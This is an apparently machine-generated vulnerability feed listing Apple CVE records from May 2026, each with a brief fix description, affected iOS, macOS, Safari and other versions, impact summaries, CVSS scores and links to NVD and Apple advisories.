### A buffer overflow was addressed with improved bounds checking.
https://kevwire.com/record/CVE-2026-28848
A buffer overflow was addressed with improved bounds checking. (May 11, 2026).
A buffer overflow was addressed with improved bounds checking. This issue is fixed in macOS Sequoia 15.7.7, macOS Tahoe 26.5. A remote attacker may be able to cause unexpected system termination.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28848).
Sources:
NVD CVE-2026-28848: https://nvd.nist.gov/vuln/detail/CVE-2026-28848
Vendor advisory (via NVD references): https://support.apple.com/en-us/127115
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A buffer overflow was addressed with improved bounds checking. This issue is fixed in macOS Sequoia 15.7.7, macOS Tahoe 26.5. A remote attacker may be able to cause unexpected system termination.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The issue was addressed with improved input validation.
https://kevwire.com/record/CVE-2026-28860
The issue was addressed with improved input validation. (May 11, 2026).
The issue was addressed with improved input validation. This issue is fixed in iOS 18.7.7 and iPadOS 18.7.7, iOS 26.4 and iPadOS 26.4, macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4, tvOS 26.4, visionOS 26.4, watchOS 26.4. A local attacker may be able to modify the state of the Keychain.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28860).
Sources:
NVD CVE-2026-28860: https://nvd.nist.gov/vuln/detail/CVE-2026-28860
Vendor advisory (via NVD references): https://support.apple.com/en-us/126792
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The issue was addressed with improved input validation. This issue is fixed in iOS 18.7.7 and iPadOS 18.7.7, iOS 26.4 and iPadOS 26.4, macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4, tvOS 26.4, visionOS 26.4, watchOS 26.4. A local attacker may be able to modify the state of the Keychain.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A resource exhaustion issue was addressed with improved input validation.
https://kevwire.com/record/CVE-2026-28872
A resource exhaustion issue was addressed with improved input validation. (May 11, 2026).
A resource exhaustion issue was addressed with improved input validation. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.4 and iPadOS 26.4. A remote attacker may be able to cause a denial-of-service.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28872).
Sources:
NVD CVE-2026-28872: https://nvd.nist.gov/vuln/detail/CVE-2026-28872
Vendor advisory (via NVD references): https://support.apple.com/en-us/126792
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A resource exhaustion issue was addressed with improved input validation. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.4 and iPadOS 26.4. A remote attacker may be able to cause a denial-of-service.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A use-after-free issue was addressed with improved memory management.
https://kevwire.com/record/CVE-2026-28883
A use-after-free issue was addressed with improved memory management. (May 11, 2026).
A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28883).
Sources:
NVD CVE-2026-28883: https://nvd.nist.gov/vuln/detail/CVE-2026-28883
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The issue was addressed with improved memory handling.
https://kevwire.com/record/CVE-2026-28901
The issue was addressed with improved memory handling. (May 11, 2026).
The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.
CVSS 4.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28901).
Sources:
NVD CVE-2026-28901: https://nvd.nist.gov/vuln/detail/CVE-2026-28901
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The issue was addressed with improved memory handling.
https://kevwire.com/record/CVE-2026-28902
The issue was addressed with improved memory handling. (May 11, 2026).
The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.
CVSS 6.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28902).
Sources:
NVD CVE-2026-28902: https://nvd.nist.gov/vuln/detail/CVE-2026-28902
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The issue was addressed with improved memory handling.
https://kevwire.com/record/CVE-2026-28903
The issue was addressed with improved memory handling. (May 11, 2026).
The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.
CVSS 6.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28903).
Sources:
NVD CVE-2026-28903: https://nvd.nist.gov/vuln/detail/CVE-2026-28903
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The issue was addressed with improved memory handling.
https://kevwire.com/record/CVE-2026-28904
The issue was addressed with improved memory handling. (May 11, 2026).
The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28904).
Sources:
NVD CVE-2026-28904: https://nvd.nist.gov/vuln/detail/CVE-2026-28904
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The issue was addressed with improved memory handling.
https://kevwire.com/record/CVE-2026-28905
The issue was addressed with improved memory handling. (May 11, 2026).
The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28905).
Sources:
NVD CVE-2026-28905: https://nvd.nist.gov/vuln/detail/CVE-2026-28905
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### This issue was addressed through improved state management.
https://kevwire.com/record/CVE-2026-28906
This issue was addressed through improved state management. (May 11, 2026).
This issue was addressed through improved state management. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, visionOS 26.5. An attacker may be able to track users through their IP address.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28906).
Sources:
NVD CVE-2026-28906: https://nvd.nist.gov/vuln/detail/CVE-2026-28906
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
This issue was addressed through improved state management. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, visionOS 26.5. An attacker may be able to track users through their IP address.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The issue was addressed with improved input validation.
https://kevwire.com/record/CVE-2026-28907
The issue was addressed with improved input validation. (May 11, 2026).
The issue was addressed with improved input validation. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may prevent Content Security Policy from being enforced.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28907).
Sources:
NVD CVE-2026-28907: https://nvd.nist.gov/vuln/detail/CVE-2026-28907
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The issue was addressed with improved input validation. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may prevent Content Security Policy from being enforced.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A denial of service issue was addressed by removing the vulnerable code.
https://kevwire.com/record/CVE-2026-28908
A denial of service issue was addressed by removing the vulnerable code. (May 11, 2026).
A denial of service issue was addressed by removing the vulnerable code. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to modify protected parts of the file system.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28908).
Sources:
NVD CVE-2026-28908: https://nvd.nist.gov/vuln/detail/CVE-2026-28908
Vendor advisory (via NVD references): https://support.apple.com/en-us/127115
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A denial of service issue was addressed by removing the vulnerable code. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to modify protected parts of the file system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The issue was addressed with improved memory handling.
https://kevwire.com/record/CVE-2026-28913
The issue was addressed with improved memory handling. (May 11, 2026).
The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28913).
Sources:
NVD CVE-2026-28913: https://nvd.nist.gov/vuln/detail/CVE-2026-28913
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A parsing issue in the handling of directory paths was addressed with improved path validation.
https://kevwire.com/record/CVE-2026-28915
A parsing issue in the handling of directory paths was addressed with improved path validation. (May 11, 2026).
A parsing issue in the handling of directory paths was addressed with improved path validation. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to gain root privileges.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28915).
Sources:
NVD CVE-2026-28915: https://nvd.nist.gov/vuln/detail/CVE-2026-28915
Vendor advisory (via NVD references): https://support.apple.com/en-us/127115
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A parsing issue in the handling of directory paths was addressed with improved path validation. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to gain root privileges.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A consistency issue was addressed with improved state handling.
https://kevwire.com/record/CVE-2026-28919
A consistency issue was addressed with improved state handling. (May 11, 2026).
A consistency issue was addressed with improved state handling. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to gain root privileges.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28919).
Sources:
NVD CVE-2026-28919: https://nvd.nist.gov/vuln/detail/CVE-2026-28919
Vendor advisory (via NVD references): https://support.apple.com/en-us/127115
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A consistency issue was addressed with improved state handling. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to gain root privileges.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A race condition was addressed with improved handling of symbolic links.
https://kevwire.com/record/CVE-2026-28924
A race condition was addressed with improved handling of symbolic links. (May 11, 2026).
A race condition was addressed with improved handling of symbolic links. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to access Contacts without user consent.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28924).
Sources:
NVD CVE-2026-28924: https://nvd.nist.gov/vuln/detail/CVE-2026-28924
Vendor advisory (via NVD references): https://support.apple.com/en-us/127115
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A race condition was addressed with improved handling of symbolic links. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to access Contacts without user consent.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A buffer overflow was addressed with improved bounds checking.
https://kevwire.com/record/CVE-2026-28925
A buffer overflow was addressed with improved bounds checking. (May 11, 2026).
A buffer overflow was addressed with improved bounds checking. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to cause unexpected system termination or write kernel memory.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28925).
Sources:
NVD CVE-2026-28925: https://nvd.nist.gov/vuln/detail/CVE-2026-28925
Vendor advisory (via NVD references): https://support.apple.com/en-us/127115
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A buffer overflow was addressed with improved bounds checking. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to cause unexpected system termination or write kernel memory.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A logic issue was addressed with improved checks.
https://kevwire.com/record/CVE-2026-28929
A logic issue was addressed with improved checks. (May 11, 2026).
A logic issue was addressed with improved checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. Replying to an email could display remote images in Mail in Lockdown Mode.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28929).
Sources:
NVD CVE-2026-28929: https://nvd.nist.gov/vuln/detail/CVE-2026-28929
Vendor advisory (via NVD references): https://support.apple.com/en-us/127111
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A logic issue was addressed with improved checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. Replying to an email could display remote images in Mail in Lockdown Mode.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The issue was addressed with improved checks.
https://kevwire.com/record/CVE-2026-28936
The issue was addressed with improved checks. (May 11, 2026).
The issue was addressed with improved checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.8, macOS Sonoma 14.8.7, macOS Sonoma 14.8.8, macOS Tahoe 26.5, visionOS 26.5. Processing a maliciously crafted file may lead to unexpected app termination.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28936).
Sources:
NVD CVE-2026-28936: https://nvd.nist.gov/vuln/detail/CVE-2026-28936
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The issue was addressed with improved checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.8, macOS Sonoma 14.8.7, macOS Sonoma 14.8.8, macOS Tahoe 26.5, visionOS 26.5. Processing a maliciously crafted file may lead to unexpected app termination.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The issue was addressed with improved memory handling.
https://kevwire.com/record/CVE-2026-28940
The issue was addressed with improved memory handling. (May 11, 2026).
The issue was addressed with improved memory handling. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5. Processing a maliciously crafted image may corrupt process memory.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28940).
Sources:
NVD CVE-2026-28940: https://nvd.nist.gov/vuln/detail/CVE-2026-28940
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The issue was addressed with improved memory handling. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5. Processing a maliciously crafted image may corrupt process memory.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The issue was addressed with improved checks.
https://kevwire.com/record/CVE-2026-28941
The issue was addressed with improved checks. (May 11, 2026).
The issue was addressed with improved checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, macOS Sequoia 15.7.7, macOS Tahoe 26.5. Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28941).
Sources:
NVD CVE-2026-28941: https://nvd.nist.gov/vuln/detail/CVE-2026-28941
Vendor advisory (via NVD references): https://support.apple.com/en-us/127111
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The issue was addressed with improved checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, macOS Sequoia 15.7.7, macOS Tahoe 26.5. Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A use-after-free issue was addressed with improved memory management.
https://kevwire.com/record/CVE-2026-28942
A use-after-free issue was addressed with improved memory management. (May 11, 2026).
A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.
CVSS 6.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28942).
Sources:
NVD CVE-2026-28942: https://nvd.nist.gov/vuln/detail/CVE-2026-28942
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A logging issue was addressed with improved data redaction.
https://kevwire.com/record/CVE-2026-28943
A logging issue was addressed with improved data redaction. (May 11, 2026).
A logging issue was addressed with improved data redaction. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. An app may be able to determine kernel memory layout.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28943).
Sources:
NVD CVE-2026-28943: https://nvd.nist.gov/vuln/detail/CVE-2026-28943
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A logging issue was addressed with improved data redaction. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. An app may be able to determine kernel memory layout.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The issue was addressed with improved memory handling.
https://kevwire.com/record/CVE-2026-28944
The issue was addressed with improved memory handling. (May 11, 2026).
The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, visionOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28944).
Sources:
NVD CVE-2026-28944: https://nvd.nist.gov/vuln/detail/CVE-2026-28944
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
